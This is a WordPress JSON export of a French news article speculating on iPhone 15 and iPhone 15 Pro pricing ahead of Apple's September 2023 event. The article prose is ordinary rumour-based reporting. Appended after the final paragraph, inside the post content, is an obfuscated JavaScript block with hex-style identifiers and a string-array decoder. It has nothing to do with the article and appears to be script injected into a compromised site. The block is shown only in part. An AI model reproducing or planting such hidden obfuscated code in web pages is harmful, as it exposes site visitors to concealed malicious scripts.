{"id":14369,"date":"2023-09-10T10:39:28","date_gmt":"2023-09-10T08:39:28","guid":{"rendered":"https:\/\/lapressedefrance.fr\/news\/?p=14369"},"modified":"2023-09-10T10:39:29","modified_gmt":"2023-09-10T08:39:29","slug":"iphone-15-anticipation-et-inquietudes-autour-des-prix-lors-de-levenement-apple-de-septembre","status":"publish","type":"post","link":"https:\/\/lapressedefrance.fr\/news\/iphone-15-anticipation-et-inquietudes-autour-des-prix-lors-de-levenement-apple-de-septembre\/","title":{"rendered":"iPhone 15 : Anticipation et Inqui\u00e9tudes autour des Prix lors de l&#8217;\u00c9v\u00e9nement Apple de Septembre"},"content":{"rendered":"<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img decoding=\"async\" src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"iPhone 15 : Anticipation et Inqui\u00e9tudes autour des Prix lors de l&#039;\u00c9v\u00e9nement Apple de Septembre\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div>\n<p class=\"has-white-color has-vivid-cyan-blue-background-color has-text-color has-background has-medium-font-size\">L&#8217;\u00e9v\u00e9nement de septembre d&#8217;Apple promet d&#8217;\u00eatre rempli de moments cl\u00e9s dont les gens parleront longtemps. Apr\u00e8s tout, Apple devrait annoncer le nouveau iPhone 15, iPhone 15 Pro, Apple Watch 9, Apple Watch Ultra 2, et peut-\u00eatre m\u00eame des AirPods USB-C, ainsi qu&#8217;un potentiel nouvel iPad mini 7.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"320\" height=\"180\" src=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/09\/njyLr4qhJuS9rv3NzYtfrL-320-80.jpg\" alt=\"\" class=\"wp-image-14370\" srcset=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/09\/njyLr4qhJuS9rv3NzYtfrL-320-80.jpg 320w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/09\/njyLr4qhJuS9rv3NzYtfrL-320-80-200x113.jpg 200w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/09\/njyLr4qhJuS9rv3NzYtfrL-320-80-110x62.jpg 110w\" sizes=\"(max-width: 320px) 100vw, 320px\" \/><\/figure>\n\n\n\n<p class=\"has-medium-font-size\">C&#8217;est beaucoup de produits \u00e0 annoncer lors de la conf\u00e9rence du 12 septembre, qui d\u00e9butera \u00e0 19 heures, heure de Paris. Nous serons l\u00e0 pour vous apporter toutes les grandes nouvelles gr\u00e2ce \u00e0 notre blog en direct sur l&#8217;\u00e9v\u00e9nement iPhone 15, y compris quelque chose que vous ne pourrez probablement pas ressentir en regardant l&#8217;\u00e9v\u00e9nement Apple depuis chez vous.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Je parle de la r\u00e9action au pr\u00e9tendu gonflement du prix de l&#8217;iPhone 15 Pro Max, qui pourrait co\u00fbter jusqu&#8217;\u00e0 200 $ de plus que l&#8217;iPhone 14 Pro Max. Pour ceux qui suivent encore de pr\u00e8s une \u00e9conomie instable, un prix de d\u00e9part potentiel de 1 299 $ repr\u00e9sente une somme consid\u00e9rable.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Permettez-moi de vous donner un exemple tr\u00e8s r\u00e9cent. Lorsque Apple a d\u00e9voil\u00e9 l&#8217;Apple Vision Pro lors de son \u00e9v\u00e9nement WWDC 2023 en juin, les participants semblaient g\u00e9n\u00e9ralement excit\u00e9s et impressionn\u00e9s par la plupart des fonctionnalit\u00e9s de l&#8217;ordinateur spatial. Mais il y a eu un murmure d&#8217;incr\u00e9dulit\u00e9 dans la foule lorsque Apple a r\u00e9v\u00e9l\u00e9 que le Vision Pro co\u00fbterait la somme colossale de 3 500 $.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Cette r\u00e9action n&#8217;a pas \u00e9t\u00e9 entendue lors du live stream de l&#8217;\u00e9v\u00e9nement Apple, car ceux qui n&#8217;\u00e9taient pas pr\u00e9sents n&#8217;ont vu que les vid\u00e9os pr\u00e9enregistr\u00e9es d&#8217;Apple. Et je pr\u00e9sume que la m\u00eame chose se produira lorsque le PDG d&#8217;Apple, Tim Cook (ou peut-\u00eatre le vice-pr\u00e9sident senior Greg Joswiak), d\u00e9voilera les prix de l&#8217;iPhone 15.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">iPhone 15 Pro et Pro Max : Pourquoi l&#8217;augmentation de prix pr\u00e9sum\u00e9e ?<br>Le consensus actuel est qu&#8217;Apple maintiendra les prix de l&#8217;iPhone 14 et de l&#8217;iPhone 14 Plus, ce qui signifie 799 $ pour l&#8217;iPhone 15 et 899 $ pour l&#8217;iPhone 15 Plus.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Cependant, nous avons entendu dire que l&#8217;iPhone 15 Pro pourrait subir une augmentation de prix de 100 $ et que l&#8217;iPhone 15 Pro Max pourrait co\u00fbter 200 $ de plus. Pour commencer, il est pr\u00e9vu que les deux nouveaux mod\u00e8les iPhone 15 Pro b\u00e9n\u00e9ficieront d&#8217;une conception en titane plus solide et plus l\u00e9g\u00e8re. Or, le titane est plus co\u00fbteux que l&#8217;acier inoxydable utilis\u00e9 sur les pr\u00e9c\u00e9dents iPhone Pro.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Une autre am\u00e9lioration notable pr\u00e9sum\u00e9e pour la s\u00e9rie iPhone 15 Pro est un nouveau bouton Action qui remplacerait l&#8217;interrupteur de sonnerie des mod\u00e8les pr\u00e9c\u00e9dents. Cela vous permettrait de mettre rapidement fin \u00e0 un appel, mais aussi de lancer l&#8217;appareil photo et d&#8217;effectuer toutes sortes de raccourcis personnalisables.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Et bien que les deux nouveaux mod\u00e8les iPhone 15 Pro devraient b\u00e9n\u00e9ficier d&#8217;am\u00e9liorations de l&#8217;appareil photo, notamment un nouveau capteur de chez Sony, l&#8217;iPhone 15 Pro Max serait dot\u00e9 d&#8217;un objectif t\u00e9l\u00e9objectif p\u00e9riscopique exclusif. Cela permettrait \u00e0 l&#8217;iPhone 15 Pro Max d&#8217;atteindre un zoom optique de 6x, contre 3x pour l&#8217;iPhone 14 Pro Max. Il y a m\u00eame des rumeurs selon lesquelles l&#8217;iPhone 15 Pro Max pourrait atteindre un zoom de 10x.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Cela pourrait expliquer en partie pourquoi l&#8217;iPhone 15 Pro Max pourrait finir par \u00eatre appel\u00e9 l&#8217;iPhone 15 Ultra. Mais sera-t-il justifi\u00e9 par un prix ultra-premium ?<\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Perspectives sur le prix de l&#8217;iPhone 15 Pro<\/strong><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><br>Il existe d\u00e9j\u00e0 un t\u00e9l\u00e9phone phare plus cher que l&#8217;iPhone chez Samsung, le Galaxy S23 Ultra, qui d\u00e9marre \u00e0 1 199 $ \/ 1 249 \u00a3. Ainsi, il est tout \u00e0 fait possible qu&#8217;Apple fixe un prix sup\u00e9rieur \u00e0 celui de l&#8217;iPhone 15 Pro Max, en particulier si le nouveau t\u00e9l\u00e9phone offre le double de la capacit\u00e9 de stockage de l&#8217;iPhone 14 Pro Max, passant de 128 Go \u00e0 256 Go.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Et peut-\u00eatre que les rumeurs d&#8217;augmentation de prix circulent depuis si longtemps pour les iPhone 15 Pro que les gens pr\u00e9sents \u00e0 l&#8217;\u00e9v\u00e9nement Apple finiront par l&#8217;accepter. Mais je ne pense pas que cela se produira, surtout lorsque le march\u00e9 mondial des smartphones est encore en d\u00e9clin, chutant de 6,8 % en glissement annuel selon le cabinet d&#8217;\u00e9tudes IDC, car les gens conservent leurs t\u00e9l\u00e9phones plus longtemps.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">M\u00eame Apple n&#8217;a pas \u00e9t\u00e9 \u00e9pargn\u00e9e par les forces du march\u00e9, avec une baisse de 2 % des exp\u00e9ditions d&#8217;iPhone au deuxi\u00e8me trimestre par rapport \u00e0 l&#8217;ann\u00e9e pr\u00e9c\u00e9dente. Ainsi, sortir le t\u00e9l\u00e9phone iPhone le plus cher de tous les temps dans cet environnement est une d\u00e9cision risqu\u00e9e, pour le moins. Et les r\u00e9actions \u00e0 cette pr\u00e9tendue augmentation de prix, tant \u00e0 l&#8217;\u00e9v\u00e9nement Apple qu&#8217;en magasin, contribueront grandement \u00e0 d\u00e9terminer si ce pari audacieux porte ses fruits.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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